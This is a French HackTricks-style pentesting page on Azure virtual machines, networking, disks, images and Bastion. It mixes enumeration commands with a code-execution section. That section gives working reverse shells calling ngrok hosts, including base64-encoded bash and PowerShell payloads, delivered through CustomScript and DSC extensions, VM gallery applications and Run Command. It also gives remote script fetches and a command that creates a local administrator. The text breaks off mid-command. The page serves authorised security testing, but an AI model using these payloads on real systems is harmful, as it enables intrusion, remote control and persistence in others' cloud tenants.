# Az - Machines Virtuelles & Réseau

{{#include ../../../../banners/hacktricks-training.md}}

## Informations de base sur le réseau Azure

Les réseaux Azure contiennent **différentes entités et façons de les configurer.** Vous pouvez trouver une brève **description,** **des exemples** et des **commandes d'énumération** des différentes entités réseau Azure dans :

{{#ref}}
az-azure-network.md
{{#endref}}

## Informations de base sur les VM

Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexibles et à la demande qui vous permettent d'exécuter des systèmes d'exploitation Windows ou Linux**. Elles vous permettent de déployer des applications et des charges de travail sans gérer de matériel physique. Les VM Azure peuvent être configurées avec diverses options de CPU, de mémoire et de stockage pour répondre à des besoins spécifiques et s'intégrer avec des services Azure tels que des réseaux virtuels, du stockage et des outils de sécurité.

### Configurations de sécurité

- **Zones de disponibilité** : Les zones de disponibilité sont des groupes distincts de centres de données au sein d'une région Azure spécifique qui sont physiquement séparés pour minimiser le risque que plusieurs zones soient affectées par des pannes ou des catastrophes locales.
- **Type de sécurité** :
- **Sécurité standard** : C'est le type de sécurité par défaut qui ne nécessite aucune configuration spécifique.
- **Lancement de confiance** : Ce type de sécurité améliore la protection contre les kits de démarrage et les logiciels malveillants au niveau du noyau en utilisant le démarrage sécurisé et le module de plateforme de confiance virtuel (vTPM).
- **VMs confidentielles** : En plus d'un lancement de confiance, cela offre une isolation matérielle entre la VM, l'hyperviseur et la gestion de l'hôte, améliore le chiffrement des disques et [**plus**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Authentification** : Par défaut, une nouvelle **clé SSH est générée**, bien qu'il soit possible d'utiliser une clé publique ou d'utiliser une clé précédente et le nom d'utilisateur par défaut est **azureuser**. Il est également possible de configurer l'utilisation d'un **mot de passe.**
- **Chiffrement des disques VM :** Le disque est chiffré au repos par défaut en utilisant une clé gérée par la plateforme.
- Il est également possible d'activer **le chiffrement à l'hôte**, où les données seront chiffrées dans l'hôte avant d'être envoyées au service de stockage, garantissant un chiffrement de bout en bout entre l'hôte et le service de stockage ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **Groupe de sécurité réseau NIC** :
- **Aucun** : Ouvre essentiellement tous les ports
- **Basique** : Permet d'ouvrir facilement les ports entrants HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Avancé** : Sélectionnez un groupe de sécurité
- **Sauvegarde** : Il est possible d'activer une sauvegarde **Standard** (une par jour) et **Améliorée** (plusieurs par jour)
- **Options d'orchestration des correctifs** : Cela permet d'appliquer automatiquement des correctifs dans les VM selon la politique sélectionnée comme décrit dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Alertes** : Il est possible de recevoir automatiquement des alertes par e-mail ou par application mobile lorsque quelque chose se produit dans la VM. Règles par défaut :
- Pourcentage CPU supérieur à 80%
- Octets de mémoire disponibles inférieurs à 1 Go
- Pourcentage d'I/O consommé par les disques de données supérieur à 95%
- Pourcentage d'I/O consommé par le système d'exploitation supérieur à 95%
- Réseau total supérieur à 500 Go
- Réseau sortant total supérieur à 200 Go
- VmAvailabilityMetric inférieur à 1
- **Moniteur de santé** : Par défaut, vérifie le protocole HTTP sur le port 80
- **Verrous** : Cela permet de verrouiller une VM afin qu'elle ne puisse être que lue (**Verrouillage en lecture seule**) ou qu'elle puisse être lue et mise à jour mais pas supprimée (**Verrouillage non supprimable**).
- La plupart des ressources liées aux VM **supportent également les verrous** comme les disques, les instantanés...
- Les verrous peuvent également être appliqués au **niveau du groupe de ressources et de l'abonnement**

## Disques & instantanés

- Il est possible de **permettre d'attacher un disque à 2 VM ou plus**
- Par défaut, chaque disque est **chiffré** avec une clé de plateforme.
- Même dans les instantanés
- Par défaut, il est possible de **partager le disque depuis tous les réseaux**, mais il peut également être **restreint** à certains **accès privés** ou à **désactiver complètement** l'accès public et privé.
- Même dans les instantanés
- Il est possible de **générer un URI SAS** (d'une durée maximale de 60 jours) pour **exporter le disque**, qui peut être configuré pour nécessiter une authentification ou non
- Même dans les instantanés

{{#tabs}}
{{#tab name="az cli"}}
```bash
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
# List all disks
Get-AzDisk

# Get info about a disk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab}}
{{#endtabs}}

## Images, Images de galerie & Points de restauration

Une **image de VM** est un modèle qui contient le système d'exploitation, les paramètres d'application et le système de fichiers nécessaires pour **créer une nouvelle machine virtuelle (VM)**. La différence entre une image et un instantané de disque est qu'un instantané de disque est une copie en lecture seule, à un moment donné, d'un seul disque géré, utilisé principalement pour la sauvegarde ou le dépannage, tandis qu'une image peut contenir **plusieurs disques et est conçue pour servir de modèle pour créer de nouvelles VMs**.\
Les images peuvent être gérées dans la **section Images** d'Azure ou à l'intérieur des **galeries de calcul Azure**, ce qui permet de générer des **versions** et de **partager** l'image entre locataires ou même de la rendre publique.

Un **point de restauration** stocke la configuration de la VM et des **instantanés cohérents au moment donné** de toutes les disques gérés attachés à la VM. Il est lié à la VM et son but est de pouvoir restaurer cette VM à son état à ce moment précis. 

{{#tabs}}
{{#tab name="az cli"}}
```bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>

## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>

# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab}}
{{#endtabs}}

## Azure Site Recovery

D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en fonctionnement pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal vers un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que le site principal est de nouveau opérationnel, vous pouvez y revenir.

## Azure Bastion

Azure Bastion permet un accès **Remote Desktop Protocol (RDP)** et **Secure Shell (SSH)** sécurisé et sans faille à vos machines virtuelles (VM) directement via le portail Azure ou via une jump box. En **éliminant le besoin d'adresses IP publiques** sur vos VM.

Le Bastion déploie un sous-réseau appelé **`AzureBastionSubnet`** avec un masque de sous-réseau `/26` dans le VNet sur lequel il doit fonctionner. Ensuite, il permet de **se connecter aux VM internes via le navigateur** en utilisant `RDP` et `SSH`, évitant ainsi d'exposer les ports des VM à Internet. Il peut également fonctionner comme un **hôte de saut**.

Pour lister tous les hôtes Azure Bastion dans votre abonnement et vous connecter aux VM via eux, vous pouvez utiliser les commandes suivantes :

{{#tabs}}
{{#tab name="az cli"}}
```bash
# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
# List bastions
Get-AzBastion
```
{{#endtab}}
{{#endtabs}}

## Métadonnées

Le service de métadonnées d'instance Azure (IMDS) **fournit des informations sur les instances de machines virtuelles en cours d'exécution** pour aider à leur gestion et configuration. Il offre des détails tels que le SKU, le stockage, les configurations réseau et des informations sur les événements de maintenance à venir via **l'API REST disponible à l'adresse IP non routable 169.254.169.254**, qui est accessible uniquement depuis la VM. La communication entre la VM et l'IMDS reste à l'intérieur de l'hôte, garantissant un accès sécurisé. Lors de l'interrogation de l'IMDS, les clients HTTP à l'intérieur de la VM doivent contourner les proxies web pour assurer une communication appropriée.

De plus, pour contacter le point de terminaison des métadonnées, la requête HTTP doit avoir l'en-tête **`Metadata: true`** et ne doit pas avoir l'en-tête **`X-Forwarded-For`**.

Vérifiez comment l'énumérer dans :

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}

## Énumération de VM

{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}

{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)


# Disks
## List all disks and get info about one
Get-AzDisk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>

# Snapshots
## List all galleries abd get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all snapshots and get info about one
Get-AzSnapshot
Get-AzSnapshot -Name <SnapshotName> -ResourceGroupName <ResourceGroupName>

## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>

## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>

# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>

# Bastion
## List bastions
Get-AzBastion

# Network
## List all VNets in your subscription
Get-AzVirtualNetwork

## List VNet peering connections for a given VNet
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings

## List Shared Resources (e.g., Azure Firewall) in the Hub
Get-AzFirewall

## List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>

## List VPN Connections
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>

## List ExpressRoute Circuits
Get-AzExpressRouteCircuit

# Misc
## List all virtual machine scale sets
Get-AzVmss

## List all availability sets
Get-AzAvailabilitySet

## List all load balancers
Get-AzLoadBalancer

## List all storage accounts
Get-AzStorageAccount

## List all custom script extensions on a specific VM
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>

```
{{#endtab }}
{{#endtabs }}

## Exécution de code dans les VMs

### Extensions de VM

Les extensions de VM Azure sont de petites applications qui fournissent des **configurations post-déploiement** et des tâches d'automatisation sur les machines virtuelles Azure (VMs).

Cela permettrait d'**exécuter du code arbitraire à l'intérieur des VMs**.

La permission requise est **`Microsoft.Compute/virtualMachines/extensions/write`**.

Il est possible de lister toutes les extensions disponibles avec :

{{#tabs }}
{{#tab name="Az Cli" }}
```bash
# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
{{#endtab }}
{{#endtabs }}

Il est possible de **exécuter des extensions personnalisées qui exécutent du code personnalisé** :

{{#tabs }}
{{#tab name="Linux" }}

- Exécuter un shell inversé
```bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- Exécuter un script situé sur Internet
```bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
```
{{#endtab }}

{{#tab name="Windows" }}

- Exécuter un shell inversé
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand  "}'

```
- Exécuter un shell inversé à partir d'un fichier
```bash
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Vous pouvez également exécuter d'autres charges utiles comme : `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`

- Réinitialiser le mot de passe en utilisant l'extension VMAccess
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
{{#endtab }}
{{#endtabs }}

### Extensions VM pertinentes

L'autorisation requise est toujours **`Microsoft.Compute/virtualMachines/extensions/write`**.

<details>

<summary>Extension VMAccess</summary>

Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
</details>

<details>

<summary>DesiredStateConfiguration (DSC)</summary>

C'est une **extension VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
```
</details>

<details>

<summary>Hybrid Runbook Worker</summary>

C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service Automation Accounts](../az-automation-account/index.html).

</details>

### VM Applications

Ce sont des packages contenant toutes les **données d'application et les scripts d'installation et de désinstallation** qui peuvent être utilisés pour ajouter et supprimer facilement des applications dans des VMs.
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```
Voici les chemins où les applications sont téléchargées dans le système de fichiers :

- Linux : `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows : `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`

Vérifiez comment installer de nouvelles applications dans [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)

> [!CAUTION]
> Il est possible de **partager des applications et des galeries individuelles avec d'autres abonnements ou locataires**. Ce qui est très intéressant car cela pourrait permettre à un attaquant d'installer une porte dérobée dans une application et de pivoter vers d'autres abonnements et locataires.

Mais il **n'y a pas de "marché" pour les applications vm** comme il y en a pour les extensions.

Les autorisations requises sont :

- `Microsoft.Compute/galleries/applications/write`
- `Microsoft.Compute/galleries/applications/versions/write`
- `Microsoft.Compute/virtualMachines/write`
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`

Exemple d'exploitation pour exécuter des commandes arbitraires :

{{#tabs }}
{{#tab name="Linux" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
```
{{#endtab }}

{{#tab name="Windows" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
```
{{#endtab }}
{{#endtabs }}

### Données utilisateur

Ceci est **des données persistantes** qui peuvent être récupérées à partir du point de terminaison des métadonnées à tout moment. Notez qu'Azure traite les données utilisateur différemment d'AWS et de GCP car **si vous placez un script ici, il n'est pas exécuté par défaut**.

### Données personnalisées

Il est possible de passer certaines données à la VM qui seront stockées dans des chemins attendus :

- Dans **Windows**, les données personnalisées sont placées dans `%SYSTEMDRIVE%\AzureData\CustomData.bin` en tant que fichier binaire et ne sont pas traitées.
- Dans **Linux**, elles étaient stockées dans `/var/lib/waagent/ovf-env.xml` et maintenant elles sont stockées dans `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agent Linux** : Il ne traite pas les données personnalisées par défaut, une image personnalisée avec les données activées est nécessaire
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être au format [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant juste le script dans les données personnalisées.
- J'ai essayé que les deux Ubuntu et Debian exécutent le script que vous mettez ici.
- Il n'est également pas nécessaire d'activer les données utilisateur pour que cela soit exécuté.
```bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
```
### **Exécuter une commande**

C'est le mécanisme le plus basique qu'Azure fournit pour **exécuter des commandes arbitraires dans des VMs**. La permission nécessaire est `Microsoft.Compute/virtualMachines/runCommand/action`.

{{#tabs }}
{{#tab name="Linux" }}
```bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
```
{{#endtab }}

{{#tab name="Windows" }}
```bash
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
